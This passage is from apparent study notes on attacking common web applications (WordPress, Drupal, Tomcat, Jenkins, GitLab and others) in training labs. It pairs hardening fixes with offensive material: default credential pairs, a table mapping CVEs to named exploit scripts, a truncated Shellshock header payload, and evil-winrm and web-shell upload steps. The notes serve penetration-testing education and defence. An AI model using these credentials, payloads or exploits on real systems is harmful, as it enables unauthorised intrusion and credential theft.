- Disable unsafe features: in-browser PHP editing (WordPress Theme Editor, Drupal PHP Filter) is a built-in RCE primitive even after a credential compromise.
- Patch promptly: nearly every exploit here is version-gated and long fixed upstream.
- Inventory everything: including shadow IT and forgotten trials — an org can’t protect what it doesn’t know exists (the Splunk trial is the poster child).
| App | Fix |
|---|---|
| WordPress | Security plugin (WordFence) for monitoring, blocking, MFA |
| Joomla | Gate the admin login behind a secret key (AdminExile) |
| Drupal | Disable/hide/move the admin login |
| Tomcat | Restrict Manager/Host-Manager to localhost or IP-whitelist + strong non-standard creds |
| Jenkins | Fine-grained perms via the Matrix Authorization Strategy plugin |
| Splunk | Change defaults; license properly so auth can’t silently lapse |
| PRTG | Patch; change the default prtgadmin password |
| osTicket | Limit internet exposure |
| GitLab | Restrict sign-up (admin approval, allowed email domains) |
18 · Skills assessments fas:Terminal
Three narrative labs against dynamically spawned INLANEFREIGHT targets. There are no fixed flags to reproduce — the value is running the whole method end to end and recording exact commands, output, and derived creds against your own instance.
[!example]+ Assessment I — foothold on the one soft host A well-hardened network with one interesting host. Enumerate → fingerprint every web app → default creds + version CVEs → abuse built-in functionality →
flag.txt.sudo nmap -sV -sC -p- --open <target>
[!example]+ Assessment II — the “boring” host hiding GitLab Re-enumerate a host that first seemed dull; a note points at
gitlab.inlanefreight.local. Apply the GitLab method in full:/etc/hosts→/explore→ self-registration → username enum → confirm version against the ExifTool RCE class.
[!example]+ Assessment III — hardcoded MSSQL password A Windows host with valid Administrator creds; find the MSSQL service password. Straight application of §16:
evil-winrm -i <target> -u Administrator -p '<password>' # locate the MSSQL-connecting binary → GDB/x64dbg breakpoint (native) or dnSpy (.NET)
evil-winrm is still the standard for interactive WinRM. Across all three, an httpx/nuclei sweep speeds the initial fingerprint before the manual, app-specific work.
Quick reference fas:ClipboardList
Default credentials: Tomcat tomcat:tomcat / tomcat:s3cret · Splunk admin:changeme · PRTG prtgadmin:prtgadmin · Nagios nagiosadmin:PASSW0RD · WebSphere system:manager.
Key ports: Tomcat 8080/8180 · AJP 8009 · Jenkins 8080 (agent 5000) · Splunk 8000/8089 · PRTG 8080 · ColdFusion 8500 · GitLab (lab) 8081 · LDAP 389/636 · MSSQL 1433.
| CVE | Target | Class | Delivery |
|---|---|---|---|
| CVE-2020-24186 | WordPress wpDiscuz | unauth upload RCE | wp_discuz.py |
| CVE-2019-10945 | Joomla core 1.5.0–3.9.4 | auth traversal + file delete | joomla_dir_trav.py |
| CVE-2014-3704 | Drupal 7.0–7.31 | pre-auth SQLi → rogue admin | drupal_drupageddon |
| CVE-2018-7600 | Drupal <7.58/<8.5.1 | pre-auth RCE (Drupalgeddon2) | drupalgeddon2.py |
| CVE-2018-7602 | Drupal | auth RCE (Drupalgeddon3) | drupal_drupageddon3 |
| CVE-2020-1938 | Tomcat <9.0.31/8.5.51/7.0.100 | unauth AJP file read (Ghostcat) | tomcat-ajp.lfi.py |
| CVE-2019-0232 | Tomcat (Windows CGI) | command injection | ffuf + URL-encoded query |
| CVE-2018-9276 | PRTG <18.2.39 | auth command injection | notification “Execute Program” |
| CVE-2021-22205 | GitLab | unauth ExifTool RCE | (successor to ≤13.10.2 auth RCE) |
| CVE-2014-6271 | Bash/CGI | Shellshock | curl -H 'User-Agent: () { :; };…' |
| CVE-2010-2861 | ColdFusion ≤9.0.1 | traversal → cred leak | 14641.py |
| CVE-2009-2265 | ColdFusion ≤8.0.1 | unauth FCKeditor RCE | 50057.py |
| CVE-2021-22005 | vCenter | unauth OVA-upload RCE | — |
Lessons learned fas:Lightbulb
- Version is the whole game. Every CVE here is gated on an exact version — pull it from the generator meta,
CHANGELOG.txt,joomla.xml,/docs, or a favicon hash before you pick an exploit. - Admin console ≈ RCE. Theme/template editors, the Jenkins Script Console, Tomcat Manager, Splunk apps, PRTG notifications — default creds plus a short spray reach them more often than a CVE does.
- Upload = a live backdoor. WAR/plugin/app uploads leave a shell on disk. Record the path and remove it at cleanup; match shell language to server (VBScript→
.asp, C#→.aspx, JSP→WAR). - Apps carry other systems’ creds. Config files, connection strings, and osTicket/GitLab secrets feed straight into service attacks and lateral movement — test every recovered credential for reuse.
- Scanners and eyes are complementary. WPScan missed plugins that
curl | grepcaught; run both. dev/qa/accfirst. Non-prod copies are patched last and gated loosest.
References fas:BookOpen
- HTB Academy — Attacking Common Applications
- WPScan · droopescan
- CVE-2020-24186 — wpDiscuz RCE · CVE-2019-10945 — Joomla traversal
- Drupalgeddon: CVE-2014-3704 · CVE-2018-7600 · CVE-2018-7602
- Tomcat: Ghostcat CVE-2020-1938 · CVE-2019-0232 · tennc/webshell
- Jenkins security advisories · Splunk custom apps
- CVE-2018-9276 — PRTG · HTB Netmon
- CVE-2021-22205 — GitLab ExifTool RCE · Exploit-DB 49951 — GitLab 13.10.2 auth RCE
- CVE-2014-6271 — Shellshock
- ColdFusion: CVE-2010-2861 · CVE-2009-2265
- irsdl/IIS-ShortName-Scanner
- OWASP — LDAP Injection · OWASP — Mass Assignment
- Reversing: Ghidra · dnSpyEx · GEF · FLOSS
Image credits fas:BookOpen
Logos are re-hosted from Wikimedia Commons for identification only and remain the trademarks of their respective owners. The table below carries the author and licence for each — this satisfies the attribution/notice terms of the CC BY-SA, GPL, and MIT marks; public-domain and CC0 marks are listed for completeness.
| Image | Author / owner | Licence | Source |
|---|---|---|---|
| WordPress | WordPress Foundation | Public domain (PD-textlogo) | Commons |
| Joomla | Open Source Matters | Public domain | Commons |
| Drupal (Druplicon) | Drupal project | GPL-2.0 | Commons |
| Apache Tomcat | Apache Software Foundation | Public domain | Commons |
| Jenkins | The Jenkins project | CC BY-SA 3.0 | Commons |
| Splunk | Splunk Inc. | Public domain | Commons |
| PRTG | Paessler AG | CC BY-SA 4.0 | Commons |
| osTicket | Rajsinghnovanet (Commons) | CC BY-SA 4.0 | Commons |
| GitLab | GitLab B.V. | MIT | Commons |
| Adobe ColdFusion | Adobe Inc. | Public domain (PD-textlogo) | Commons |
| Microsoft IIS | Tanya Pradhan (Commons) | CC BY-SA 4.0 | Commons |
| Shellshock bug | Wikimedia Commons | CC0 (public domain) | Commons |
← Condensed cheat sheet · Workflow dashboard · Web enum deep-dive →